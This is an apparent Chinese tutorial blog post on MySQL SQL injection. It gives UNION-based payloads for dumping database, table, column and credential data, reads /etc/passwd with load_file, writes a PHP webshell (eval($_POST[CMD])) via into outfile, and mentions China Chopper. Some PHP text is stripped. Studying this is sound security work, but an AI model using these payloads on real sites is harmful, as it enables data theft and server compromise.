Web安全之SQL注入漏洞[1]

Web安全之SQL注入漏洞

本节知识点

SQL注入原理

前言

结构化查询语句(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个问题,可以访问或者修改数据,或者利用潜在的数据库漏洞进行攻击。

什么是SQL注入?

SQL注入(Sql Injection)是一种讲SQL语句插入或者添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。

常见的Web架构

表示层:Web浏览器/呈现引擎---访问网站

逻辑层:脚本语言:ASP、PHP、JSP、.NET等---加载、编译并执行脚本文件

存储层:数据库:MSSQL、MYSQL、ORACLE等---执行SQL语句

哪里存在SQL注入?

哪里存在SQL注入?

lGET

lPOST

lHTTP头部注入

lCookie注入

l……

任何客户端可控,传递到服务器的变量。

漏洞原理

针对SQL注入的攻击行为,可描述为通过用户可控参数中注入SQL语法,破坏原有的SQL结构,达到编写程序时意料之外的结果的攻击行为。

其成因可以归结为以下两点原因叠加造成的:

1.程序编写者再处理程序和数据库交互的时候,使用字符拼接的方法构造SQL语句

2.未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中

SQL注入危害

漏洞危害

攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下,还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取Webshell或者服务器系统权限。

SQL注入分类和利用

SQL注入的分类

根据SQL数据类型分类

整型注入

字符串类型注入

根据注入的语法分类

UNIONquery SQL injection(可联合查询注入)

Eoor-basedSQL injection(报错型注入)

Boolean-basedbind SQL injection(布尔型注入)

Time-basedbind SQL injection(基于时间延迟注入)

Stackedqueries SQL injection(可多语句查询注入)

如何去判断SQL注入漏洞?

判断注入

uand

1=1 / and 1=2回显页面不同(整型判断)

u单引号’判断显示数据库错误信息或者页面回显不同(整型,字符串类型判断)

u\(转义符)

u-1

/ +1回显下一个或者上一个页面(整型判断)

uand

sleep(5) (判断页面返回时间)

SQL注入漏洞的利用

MySQL数据库的特性

一.MySQL中的3种注释风格

u#

(url编码为%23)

u--

(--后面要跟上一个或者多个空格)

u--+

(+相当于空格)

u/*…*/

u/*!...*/

二.MySQL函数利用

1.常用函数

luser()---数据库用户名

l

mysql>select user();

+----------------+

|user()|

+----------------+

|root@localhost |

+----------------+

1 rowin set (0.00 sec)

ldatabase()---数据库名

l

mysql>select database();

+------------+

| database()|

+------------+

|security|

+------------+

1 rowin set (0.00 sec)

l@@datadir---数据库路径

l

mysql>select @@datadir;

+-----------------------+

|@@datadir|

+-----------------------+

|C:\server\mysql\data\ |

+-----------------------+

1 rowin set (0.00 sec)

l@@version_compile_os---操作系统版本

l

mysql>select @@version_compile_os;

+----------------------+

|@@version_compile_os |

+----------------------+

|Win64|

+----------------------+

1 rowin set (0.00 sec)

lversion()---MySQL数据库版本

l

mysql>select version();

+-----------+

|version() |

+-----------+

|5.7.16|

+-----------+

1 rowin set (0.04 sec)

l@@version---MySQL数据库版本

l

mysql>select @@version;

+-----------+

|@@version |

+-----------+

|5.7.16|

+-----------+

1 rowin set (0.00 sec)

2.load_file()函数读取文件操作

前提:

l知道文件的绝对路径

l能够使用union查询

l对web目录有写的权限

UNION SELECT1,load_file('/etc/passwd’),3,4,5#

0x2f6574632f706173737764

UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5#

路径没有加单引号的话必须转换成十六进制

要是想省略单引号的话必须转换成十六进制

3.into

outfile ‘路径’写入文件操作

前提:

l文件名必须是全路径(绝对路径)

l用户必须有写文件的权限

l没有对单引号’过滤

SELECT ‘’ intooutfile ‘C:\\Windows\\tmp\\1.php’

SELECT ‘’ into outfile ‘C:\\Windows\\tmp\\1.php’

路径里面两个反斜杠\\可以换成一个正斜杠/

PHP语句没有加单引号的话必须转换成十六进制

要是想省略单引号的话必须转换成十六进制

后面路径的单引号不能省略

或者




建议一句话PHP语句转换成十六进制

4.连接字符串函数

lConcat(str1,str2)---没有分隔符的连接字符串

l

mysql>select concat('1234','5678');

+-----------------------+

|concat('1234','5678') |

+-----------------------+

|12345678|

+-----------------------+

1 rowin set (0.03 sec)

lconcat_ws(separator,str1,str2)---含有分隔符的连接字符串

l

mysql>select concat_ws(0x7e,'1234','5678');

+-------------------------------+

|concat_ws(0x7e,'1234','5678') |

+-------------------------------+

|1234~5678|

+-------------------------------+

1 rowin set (0.04 sec)

lgroup_concat(str1,str2)---连接一个组的所有字符串,并且以逗号分割每一条数据

l

mysql>select group_concat('1234','5678');

+-----------------------------+

|group_concat('1234','5678') |

+-----------------------------+

|12345678|

+-----------------------------+

1 rowin set (0.07 sec)

三.MySQL中information_schema数据库

mysql>show tables;

+---------------------------------------+

|Tables_in_information_schema|

+---------------------------------------+

|COLUMNS|

|SCHEMATA|

|TABLES|

+---------------------------------------+

SCHEMATA表

字段:SCHEMA_NAME schema_name存放的是数据库名称

mysql> desc schemata;

+----------------------------+--------------+------+-----+---------+-------+

| Field| Type| Null | Key | Default | Extra |

+----------------------------+--------------+------+-----+---------+-------+

| SCHEMA_NAME| varchar(64)| NO||||

+----------------------------+--------------+------+-----+---------+-------+

5 rows in set (0.11 sec)

TABLES表

字段:TABLE_SCHEMA,TABLE_NAMEtable_schema,table_name

mysql> desc tables;

+-----------------+---------------------+------+-----+---------+-------+

| Field| Type| Null | Key | Default | Extra|

+-----------------+---------------------+------+-----+---------+-------+

| TABLE_SCHEMA| varchar(64)| NO||||

| TABLE_NAME| varchar(64)| NO||||

+-----------------+---------------------+------+-----+---------+-------+

21 rows in set (0.00 sec)

COLUMNS表

字段:TABLE_SCHEMA,TABLE_NAME,COLUMN_NAMEtable_schema,table_name,column_name

mysql> desc columns;

+--------------------------+---------------------+------+-----+---------+------

| Field| Type| Null | Key | Default | Extra

|

+--------------------------+---------------------+------+-----+---------+------

| TABLE_SCHEMA| varchar(64)| NO|||

|

| TABLE_NAME| varchar(64)| NO|||

|

| COLUMN_NAME| varchar(64)| NO|||

+--------------------------+---------------------+------+-----+---------+------

四.MySQL中UNION规则

lUNION必须由两条或者两条以上的SELECT语句组成,语句之间关键字用UNION分隔

lUNION中的查询必须含有相同的列

lUNION会从查询结果中集中自动取出重复行

SQL注入挖掘以及防御

UNION query SQL injection

利用前提:页面上有显示位

优点:方便、快捷、易于利用

缺点:需要显示位

0x001判断是否存在SQL注入,同时判断注入类型:整型注入还是字符串注入

判断注入

uand

1=1 / and 1=2回显页面不同(整型判断)

u单引号’判断显示数据库错误信息或者页面回显不同(整型,字符串类型判断)

u\(转义符)

u-1

/ +1回显下一个或者上一个页面(整型判断)

uand

sleep(5) (判断页面返回时间)

0x002判断显示位长度,判断列数(二分法)

orderby 10

orderby 20

orderby 15

……

0x003判断查找显示位,UNION联合查询

unionselect 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

0x004查找获取当前所用的数据库用户名,数据库名,数据库路径,操作系统版本,MySQL版本

user()---数据库用户名

database()---数据库名

@@datadir---数据库路径

@@version_compile_os---操作系统版本

version()---MySQL数据库版本

@@version---MySQL数据库版本

0x005查找列出所有的数据库名称

limit一个一个打印出来数据库名字

selectconcat(schema_name) from information_schema.schemata limit 0,1

group_concat一次性全部显示

selectgroup_concat(schema_name) from information_schema.schemata

0x006查找列出所有的表名

limit一个一个打印出来表名

select

concat(table_name) from information_schema.tables where table_schema=0x(数据库名称转十六进制) limit 0,1

group_concat一次性全部显示

select

group_concat(table_name) from information_schema.tables where table_schema=0x(数据库名称转十六进制)

0x007查找列出所有的字段

limit一个一个打印出来字段

select

concat(column_name) from information_schema.columns where table_schema=0x(数据库名称转十六进制) and table_name=0x(表名转十六进制) limit 0,1

group_concat一次性全部显示

select group_concat(column_name)

from information_schema.columns where table_schema=0x(数据库名称转十六进制) and table_name=0x(表名转十六进制)

0x008查找列出所有需要的数据

limit一个一个打印出来数据

select

concat(concat(0x7e,username,0x7e,password)) from数据库名字.表名limit 0,1

group_concat一次性全部显示

select

group_concat(concat(0x7e,username,0x7e,password)) from数据库名字.表名

0x009 load_file()读取文件操作

前提:

l知道文件的绝对路径

l能够使用union查询

l对web目录有写的权限

UNION SELECT1,load_file('/etc/passwd’),3,4,5#

0x2f6574632f706173737764

UNION SELECT1,load_file(0x2f6574632f706173737764),3,4,5#

路径没有加单引号的话必须转换成十六进制

要是想省略单引号的话必须转换成十六进制

0x010 into outfile写入文件操作

前提:

l文件名必须是全路径(绝对路径)

l用户必须有写文件的权限

l没有对单引号’过滤

SELECT ‘’ into outfile ‘C:\\Windows\\tmp\\1.php’

SELECT ‘’ into outfile ‘C:\\Windows\\tmp\\1.php’

路径里面两个反斜杠\\可以换成一个正斜杠/

PHP语句没有加单引号的话必须转换成十六进制

要是想省略单引号的话必须转换成十六进制

后面路径的单引号不能省略


eval($_POST[CMD]); ?>或者




建议一句话PHP语句转换成十六进制

0x011一句话木马


eval($_POST[CMD]); ?>或者




0x012菜刀连接

武功再高,也怕菜刀,中国菜刀,就是屌

SQL注入UNION联合查询类型手札

0x001判断是否存在SQL注入,同时判断注入类型:整型注入还是字符串型注入

and 1=1 / and 1=2回显页面不同(整型判断)

单引号'显示数据库错误或者页面回显不同(整型、字符串类型判断)

\转义符

-1 / +1回显下一页或上一页(整型判断)

and sleep(5)判断页面返回时间

0x002判断显示位长度,判断列数(二分法)

order by 10

order by 20

order by 15

0x003判断查找显示位,UNION联合查询

union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

0x004查找获取当前所用的数据库用户名,数据库名,数据库路径,操作系统版本,MySQL版本

user()---数据库用户名

database()---数据库名

@@datadir---数据库路径

@@version_compile_os---操作系统版本

version()---MySQL版本

0x005查找列出所有数据库名称、表名

数据库:

selectconcat(schema_name) from information_schema.schemata limit 0,1

selectgroup_concat(schema_name) from information_schema.schemata

表名:

selectconcat(table_name) from information_schema.tables where table_schema = 0x(数据库名称转十六进制) limit 0,1

selectgroup_concat(table_name) from information_schema.tables where table_schema =0x(数据库名称转十六进制)

0x006查找列出所有的字段

select concat(column_name)from information_schema.columns where table_schema = 0x(数据库名字转十六进制) and table_name = 0x(表名转十六进制) limit 0,1

selectgroup_concat(column_name) from information_schema.columns where table_schema =0x(数据库名字转十六进制) and

table_name = 0x(表名转十六进制)

0x007查找列出所有需要的数据

selectconcat(concat(0x7e,username,0x7e,password)) from数据库名字.表名limit 0,1

selectgroup_concat(concat(0x7e,username,0x7e,password)) from数据库名字.表名

0x008 load_file()读取文件操作

load_file('/etc/passwd')

load_file(0x2f6574632f706173737764)

0x009 into outfile写入文件操作

''into outfile'C:\\Windows\\tmp\\1.php'

0x010一句话木马

''

''

''

''

''

0x011菜刀连接

武功再高,也怕菜刀,中国菜刀,就是叼

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 162,825评论 4 377
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 68,887评论 2 308
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 112,425评论 0 255
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,801评论 0 224
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 53,252评论 3 299
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 41,089评论 1 226
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 32,216评论 2 322
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 31,005评论 0 215
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,747评论 1 250
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,883评论 2 255
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,354评论 1 265
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,694评论 3 265
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,406评论 3 246
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,222评论 0 9
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,996评论 0 201
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 36,242评论 2 287
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 36,017评论 2 281

推荐阅读更多精彩内容